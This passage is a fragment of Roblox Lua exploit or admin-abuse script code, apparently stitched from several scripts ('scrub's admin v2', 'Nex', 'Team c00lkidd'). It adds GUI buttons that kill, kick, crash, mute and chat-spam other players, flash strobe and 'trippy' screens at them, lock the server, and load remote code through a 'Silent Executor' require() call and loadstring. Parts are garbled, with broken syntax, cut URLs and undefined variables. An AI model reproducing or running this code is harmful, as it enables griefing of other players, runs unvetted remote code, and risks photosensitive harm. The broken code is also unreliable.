"http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
v:LoadCharacter()
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
Infect(v.Character)
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
local cl =
script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local
clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if
v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag",
true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif
v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0
v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
cl.Parent = v.Character
cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
local cl =
script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for
i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~=
"Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor =
BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif
v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional
white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency =
1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if
v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag",
true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0
v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor =
BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0
v.Parent.Head.Transparency = 1 end end until nil]]
cl.Parent = v.Character
cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
Noobify(v.Character)
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
for a, prt in
pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or
not prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency =
.5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
if
prt.Name:find("Leg") then prt.Transparency = 1 end
elseif
prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance
= 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
for a, prt in
pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or
not prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency =
0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
elseif
prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance =
.4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
for a, prt in
pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or
not prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency =
0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
elseif
prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance =
1 prt.Head.BrickColor = BrickColor.new("Institutional white")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale =
Vector3.new(1.25,1.25,1.25) end
if
v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent =
v.Character end
if
v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent =
v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 =
CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso["Right
Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso["Right
Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, sc in
pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
for a, prt in
pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or
not prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency =
0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
if prt.Name ==
"FAKETORSO" then prt:Destroy() end
elseif
prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance =
0 prt.Head.BrickColor = BrickColor.new("White")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy()
end end
local scr =
Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
local bg =
Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position =
UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl =
script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44)
script.Parent.Frame.BackgroundColor3 =
Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until
nil]] cl.Parent = scr cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy()
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy()
end end
local scr =
Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
local bg =
Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position =
UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl =
script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44)
script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44)
script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent =
scr cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy()
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
gss=Instance.new("ScreenGui",v.PlayerGui)
gss.Name="blindgui"
framess=Instance.new("Frame",gss)
framess.BackgroundTransparency=.05
framess.BackgroundColor3=Color3.new(0,0,0)
framess.Size=UDim2.new(1,0,1,0)
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end
end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") then
for a, g in
pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy()
end end
end
end))
end
end
if msg:lower():sub(1,9) == "loopheal " then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v then
local cl =
script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
repeat wait()
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health =
plr.Character.Humanoid.MaxHealth end)
end
end))
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled =
false
end
end
end
end
-------------------------
-- True Owner Commands --
-------------------------
coroutine.resume(coroutine.create(function()
if v and not ChkOwner(v.Name) then
table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat
wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("scrub's
admin v2", "You're an administrator! Say :cmds for commands", false, {v}) end)) end
end))
end
end
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == "all" or
owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
end))
end
end
end
--------------------
-- Owner Commands --
--------------------
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, true)
then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function()
repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
Message("scrub's admin v2", "You're an administrator! Say :cmds for commands",
false, {v}) end)) end
end))
end
end
if msg:lower():sub(1,5) == "unpa " then
for i = 1, #admins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == "all" or
admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
local p =
Instance.new("Part",game.Workspace) table.insert(objects,p)
p.Anchored = true
p.CanCollide = false
p.formFactor = "Symmetric"
p.Shape = "Ball"
p.Size = Vector3.new(1,1,1)
p.BrickColor =
BrickColor.new("New Yeller")
p.Transparency = .5
p.Reflectance = .2
p.TopSurface = 0
p.BottomSurface = 0
p.Touched:connect(function(hit)
if hit and hit.Parent
then
local ex =
Instance.new("Explosion", game.Workspace)
ex.Position =
hit.Position
ex.BlastRadius =
11
ex.BlastPressure =
math.huge
end
end)
local cf =
v.Character.Torso.CFrame
p.CFrame = cf
for i = 1, 333 do
p.Size = p.Size +
Vector3.new(3,3,3)
p.CFrame = cf
wait(1/44)
end
p:Destroy()
end
end))
end
end
end
--------------------------
-- Super Admin Commands --
--------------------------
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
local val =
Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name =
"creator"
v.Character:BreakJoints()
wait(1/44)
v:LoadCharacter()
wait(1/44)
end
end))
end
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
local cl =
script.CrashScript:Clone() cl.Parent = v.Backpack cl.Disabled = false wait(1)
v:Destroy()
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
local cl =
script.MuteScript:Clone() cl.Parent = v.Backpack cl.Disabled = false
end
end))
end
end
if msg:lower():sub(1,7) == "unmute " then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
local cl =
script.UnmuteScript:Clone() cl.Parent = v.Backpack cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name,
false) then v:Destroy() end
end))
end
end
backadmin={}
backpa={}
backoa={}
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name,
false) then table.insert(tempadmins, v.Name) v:SaveNumber("admin", 1)
coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character
and v:findFirstChild("PlayerGui") Message("scrub's admin v2", "You're an
administrator! Say :cmds for commands", false, {v}) end)) end
end))
end
end
coroutine.resume(coroutine.create(function()
if msg:lower():sub(9) == "all" or
tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins,
i) end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name,
false) then table.insert(banland, v.Name) local cl = script.CrashScript:Clone()
cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
end))
end
end
coroutine.resume(coroutine.create(function()
if msg:lower():sub(7) == "all" or
banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
end))
end
end
end
end))
end
local tcb =
{087,101,108,099,111,109,101,032,116,111,032,065,112,117,100,117,099,105,110,039,11
5,032,099,111,109,109,097,110,100,115,033,032,083,097,121,032,039,058,099,109,100,1
15,039,032,102,111,114,032,099,111,109,109,097,110,100,115} nfs = "" for i = 1,
#tcb do nfs = nfs .. string.char(tcb[i]) end print(nfs)
NewAsset.Parent=Services.Players.LocalPlayer.Character
NewAsset.Name = "ExtraAsset"
end
Commands[2][3] = true
end
end,
false
},
{"Nex Pluvia",
function()
local ids = {21070012,1031429,108149175,14815761}
if Commands[2][3] == true then
for _,v in
pairs(Services.Players.LocalPlayer.Character:GetChildren()) do
for _,x in pairs(ids) do
if v.Name == "ExtraAsset" then
v.Parent=nil
end
end
end
Commands[2][3] = false
else
for _,v in pairs(ids) do
local NewAsset =
Services.InsertService:LoadAsset(v):GetChildren()[1]
NewAsset.Parent=Services.Players.LocalPlayer.Character
NewAsset.Name = "ExtraAsset"
end
Commands[2][3] = true
end
end,
false
},
{"Nex Pluvia",
function()
local ids =
{1125510,14815761,1235488,11748356,1029025,108149175}
if Commands[2][3] == true then
for _,v in
pairs(Services.Players.LocalPlayer.Character:GetChildren()) do
for _,x in pairs(ids) do
if v.Name == "ExtraAsset" then
v.Parent=nil
end
end
end
Commands[2][3] = false
else
for _,v in pairs(ids) do
local NewAsset =
Services.InsertService:LoadAsset(v):GetChildren()[1]
NewAsset.Parent=Services.Players.LocalPlayer.Character
NewAsset.Name = "ExtraAsset"
end
Commands[2][3] = true
end
end,
false
},
{"Fire*",
function()
if pcall(function()
Services.Players.LocalPlayer.Character.Head.Fire.Parent=nil end) then
else
pcall(function()
fire=Instance.new('Fire',Services.Players.LocalPlayer.Character.Head)
fire.Size=3
fire.Color=Color3.new(453,0,435)
fire.SecondaryColor=Color3.new(453,0,435)
end)
end
end
},
{"Invincibility*",
function()
pcall(function()
if
Services.Players.LocalPlayer.Character.Humanoid.MaxHealth==100 then
Services.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
else
Services.Players.LocalPlayer.Character.Humanoid.MaxHealth=100
end
end)
end
},
{"Teleport*",
function()
if m.Target ~= nil then
pcall(function()
Services.Players.LocalPlayer.Character:MoveTo(m.Hit.p) end)
end
end
},
{"Teleport",
function()
if Player == nil and m.Target ~= nil then
if PlayerCheck() then
Player=PlayerCheck()
end
pcall(function()
for _,v in
pairs(Player.Character:GetChildren()) do
if v:IsA('Part') then
local sb =
Instance.new('SelectionBox',Services.Workspace.CurrentCamera)
sb.Adornee = v
sb.Name = "sb"
sb.Color = BrickColor.new('Bright
violet')
end
end
end)
elseif Player ~= nil then
pcall(function()
Player.Character:MoveTo(m.Hit.p)
end)
Player = nil
for _,v in
pairs(Services.Workspace.CurrentCamera:GetChildren()) do
if v:IsA('SelectionBox') and v.Name == "sb"
then
v.Parent=nil
end
end
end
end
},
{"Kill",
function()
pcall(function() PlayerCheck().Character:BreakJoints() end)
end
},
{"Invincibility",
function()
pcall(function()
if PlayerCheck().Character.Humanoid.MaxHealth==100
then
PlayerCheck().Character.Humanoid.MaxHealth=math.huge
else
PlayerCheck().Character.Humanoid.MaxHealth=100
end
end)
end
},
{":BreakJoints()",
function()
pcall(function() m.Target:BreakJoints() end)
end
},
{"Kick",
function()
pcall(function() PlayerCheck().Parent=nil end)
end
},
{"Custom Function",
function()
Spawn(loadstring(CustomFunction))
end
},
{"LinkedSword",
function()
Services.InsertService:LoadAsset(47433):GetChildren()
[1].Parent=Services.Players.LocalPlayer.Backpack
end
},
{":GetFullName()",
function()
if m.Target then
local string = m.Target:GetFullName()
if string then
GUIDisplay(string)
end
else
GUIDisplay("nil")
end
end
},
{"Humanoid", --Category
function()
Scope=Commands.Humanoid[3]
Selection=1
GUIRefresh()
end,
{
{"Up Scope",
function()
Scope=Commands
Selection=1
GUIRefresh()
end
},
{"Humanoid",
function()
if PlayerCheck() then
if pcall(function()
PlayerCheck().Character.Humanoid.Parent=nil end) then
else
pcall(function()
Instance.new('Humanoid',PlayerCheck().Character) end)
end
end
end
},
{"Remove Head",
function()
pcall(function()
PlayerCheck().Character.Head.Parent=nil end)
end
},
{"PlatformStand",
function()
pcall(function()
if
PlayerCheck().Character.Humanoid.PlatformStand==true then
PlayerCheck().Character.Humanoid.PlatformStand=false
else
PlayerCheck().Character.Humanoid.PlatformStand=true
end
end)
end
},
{"Sit",
function()
pcall(function()
if
PlayerCheck().Character.Humanoid.Sit==true then
PlayerCheck().Character.Humanoid.Sit=false
else
PlayerCheck().Character.Humanoid.Sit=true
end
end)
end
},
{"WalkSpeed",
function()
pcall(function()
if
PlayerCheck().Character.Humanoid.WalkSpeed==16 then
PlayerCheck().Character.Humanoid.WalkSpeed=0
else
PlayerCheck().Character.Humanoid.WalkSpeed=16
end
end)
end
},
}
},
{"Building", --Category
function()
Scope=Commands.Building[3]
Selection=1
GUIRefresh()
end,
{
{"Up Scope",
function()
Scope=Commands
Selection=1
GUIRefresh()
end
},
{"Color",
function()
pcall(function() m.Target.BrickColor =
ColorSelection end)
end
},
{"Color Picker",
function()
pcall(function() ColorSelection =
m.Target.BrickColor end)
end
},
{"Anchor",
function()
pcall(function() m.Target.Anchored=true end)
end
},
{"Unanchor",
function()
pcall(function() m.Target.Anchored=false end)
end
},
{"Decal",
function()
pcall(function()
decal = Instance.new('Decal',m.Target)
decal.Face = m.TargetSurface
decal.Texture =
"http://roblox.com/asset/?id=123659742"
end)
end
},
{"Decal2",
function()
pcall(function()
decal = Instance.new('Decal',m.Target)
decal.Face = m.TargetSurface
decal.Texture =
"http://roblox.com/asset/?id=121987185"
end)
end
},
{"Remove Decal",
function()
pcall(function()
for _,v in pairs(m.Target:GetChildren())
do
if v:IsA('Decal') then
if v.Face == m.TargetSurface
then
v.Parent=nil
end
end
end
end)
end
},
}
},
}
for i,v in ipairs(Commands)do------------------------ALA_STUFF
Commands[v[1]]=v;--------------------------------ALA_STUFF
end;-------------------------------------------------ALA_STUFF
Scope=Commands
if script then
script.Parent=Services.Players.LocalPlayer.PlayerGui
script.Name="[Nex v"..version.."]"
end
coroutine.wrap(function() repeat wait() until
Services.Players.LocalPlayer.Character
Services.Chat:Chat(Services.Players.LocalPlayer.Character.Head,"Nex
"..version.." Installed",Enum.ChatColor.Blue)
end)()
GUIDisplay("..Nex Loaded - Made by Nex Pluvia...")
QDown=false
EDown=false
m.KeyDown:connect(function(key)
if not Uninstalled then
if key == "q" then
if not EDown then
QDown=true
repeat
if Selection > 1 then
Selection=Selection-1
end
GUIRefresh()
wait(.25)
until QDown == false
end
elseif key == "e" then
if not QDown then
EDown=true
repeat
if Selection < #Scope then
Selection=Selection+1
end
GUIRefresh()
wait(.25)
until EDown == false
end
elseif key == "r" then
if not Uninstalled then
coroutine.wrap(function()
if m.Target then
sb =
Instance.new('SelectionBox',Services.Workspace.CurrentCamera)
sb.Adornee = m.Target
sb.Name = "sb"
sb.Color = BrickColor.new('Bright
violet')
wait(.25)
for _,v in
pairs(Services.Workspace.CurrentCamera:GetChildren()) do
if v:IsA('SelectionBox') and v.Name
== "sb" then
v.Parent=nil
end
end
end
end)()
Scope[Selection][2]()
end
end
end
end)
m.KeyUp:connect(function(key)
if not Uninstalled then
if key == "q" then
QDown=false
elseif key == "e" then
EDown=false
end
end
end)
Services.Players.LocalPlayer.Chatted:connect(function(msg)
if not Uninstalled then
if string.lower(msg) == "uninstall Nex" then
Uninstalled = true
Services.Chat:Chat(Services.Players.LocalPlayer.Character.Head,"Nex
"..version.." UNINSTALLED",Enum.ChatColor.Blue)
SGUI.Parent=nil
if script then
script.Parent=nil
end
elseif string.sub(string.lower(msg),1,2) == "c/" then
pcall(function() ColorSelection =
BrickColor.new(string.sub(msg,3)) end)
elseif string.sub(string.lower(msg),1,2) == "m/" then
for _,v in pairs(Services.Players:GetChildren()) do
if v.Name ~= Services.Players.LocalPlayer.Name then
Services.Chat:Chat(v.Character.Head,string.sub(msg,3),Enum.ChatColor.Green)
end
end
elseif string.sub(string.lower(msg),1,3) == "cf/" then
CustomFunction=string.sub(msg,4)
end
end
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Always Night"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
while true do
game.Lighting.TimeOfDay = "18:00:00"
wait(5)
end
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Kill Gui"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Kill Gui"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
whoownit = game.Players.LocalPlayer
gui = Instance.new("ScreenGui")
gui.Parent = whoownit.PlayerGui
gui.Name = "Kill"
pos = 135
pos2 = 10
pos3 = 0
enabled = false
button = Instance.new("TextButton")
button.Parent = gui
button.Size = UDim2.new(0, 100, 0, 30)
button.Position = UDim2.new(0, 8, 0, pos)
button.Text = "Kill"
button.MouseButton1Click:connect(function()
if enabled == false then
enabled = true
local a = game.Players:GetChildren()
red = 0
green = 0.5
blue = 0
for i=1, #a do
wait()
pos2 = pos2 + 23
if pos2 >= 450 then
pos3 = pos3 + 103
pos2 = 33
end
if green <= 0.9 then
green = green + 0.46
elseif green >= 0.9 then
green = green - 0.46
end
local bu = Instance.new("TextButton")
bu.Parent = button
bu.Size = UDim2.new(0, 100, 0, 20)
bu.Position = UDim2.new(0, pos3, 0, pos2)
bu.Text = a[i].Name
bu.BackgroundTransparency = 1
bu.TextTransparency = 1
bu.BackgroundColor3 = Color3.new(red,green,blue)
coroutine.resume(coroutine.create(function()
for i=1, 3 do
wait()
bu.BackgroundTransparency =
bu.BackgroundTransparency - 0.34
bu.TextTransparency = bu.BackgroundTransparency
end
end))
bu.MouseButton1Down:connect(function()
local play = game.Players:findFirstChild(bu.Text)
if play ~= nil then
play.Character.Head:Remove()
bu.Text = "Killed!"
wait(2)
bu.Text = a[i].Name
end
end)
end
elseif enabled == true then
enabled = false
pos2 = 10
pos3 = 0
end
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Silent Executor"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Silent Executor"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:Connect(function()
require(8913865946).frakture(game.Players.LocalPlayer.Name, true)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Nilizer"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Server Lock"
button.TextColor3 = whit
local slock = false
button.MouseButton1Down:connect(function()
function Hint(str, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild("PlayerGui") then
coroutine.resume(coroutine.create(function()
local scr = Instance.new("ScreenGui", v.PlayerGui)
scr.Name = "HintGUI"
local bg = Instance.new("Frame", scr) bg.Name = "bg"
bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0
bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position =
UDim2.new(0,0,0,-2) bg.ZIndex = 8
local msg = Instance.new("TextLabel", bg)
msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position =
UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "SciFi" msg.Text = str
msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 =
Color3.new(1,1,1) msg.TextStrokeTransparency = .8
coroutine.resume(coroutine.create(function() for i =
20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency =
((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
if not time then wait((#str/19)+2.5) else wait(time)
end
coroutine.resume(coroutine.create(function() if
scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i)
msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+
((.7/20)*i) wait(1/44) end scr:Destroy() end end))
end))
end
end
end
if slock == true then
slock = false Hint("Server Unlocked,", game.Players:children())
else slock = true Hint("Server Locked,", game.Players:children()) end
game:GetService("Players").PlayerAdded:Connect(function(plr)
print (plr)
if slock == true then
Hint('[Serverlock]: ' ..plr.Name.. ' Tried to join',
game.Players:children())
plr:Kick("Team c00lkidd REIMAGINED.")
end
end)
game.Players.PlayerAdded:Connect(function(player)
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Lag Gui"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Lag Gui"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
whoownit = game.Players.LocalPlayer
gui = Instance.new("ScreenGui")
gui.Parent = whoownit.PlayerGui
gui.Name = "Lag"
pos = 135
pos2 = 10
pos3 = 0
enabled = false
button = Instance.new("TextButton")
button.Parent = gui
button.Size = UDim2.new(0, 100, 0, 30)
button.Position = UDim2.new(0, 8, 0, pos)
button.Text = "Lag"
button.MouseButton1Click:connect(function()
if enabled == false then
enabled = true
local a = game.Players:GetChildren()
red = 0
green = 0.5
blue = 0
for i=1, #a do
wait()
pos2 = pos2 + 23
if pos2 >= 450 then
pos3 = pos3 + 103
pos2 = 33
end
if green <= 0.9 then
green = green + 0.46
elseif green >= 0.9 then
green = green - 0.46
end
local bu = Instance.new("TextButton")
bu.Parent = button
bu.Size = UDim2.new(0, 100, 0, 20)
bu.Position = UDim2.new(0, pos3, 0, pos2)
bu.Text = a[i].Name
bu.BackgroundTransparency = 1
bu.TextTransparency = 1
bu.BackgroundColor3 = Color3.new(red,green,blue)
coroutine.resume(coroutine.create(function()
for i=1, 3 do
wait()
bu.BackgroundTransparency =
bu.BackgroundTransparency - 0.34
bu.TextTransparency = bu.BackgroundTransparency
end
end))
bu.MouseButton1Down:connect(function()
local play = game.Players:findFirstChild(bu.Text)
if play ~= nil then
for i=1,3600 do
game:service'Chat':Chat(v.Character.Head,box.Text,Enum.ChatColor.Blue)
wait()
game:service'Chat':Chat(v.Character.Head,box.Text,Enum.ChatColor.Red)
wait()
game:service'Chat':Chat(v.Character.Head,box.Text,Enum.ChatColor.Green)
end
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Particles Spam"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?
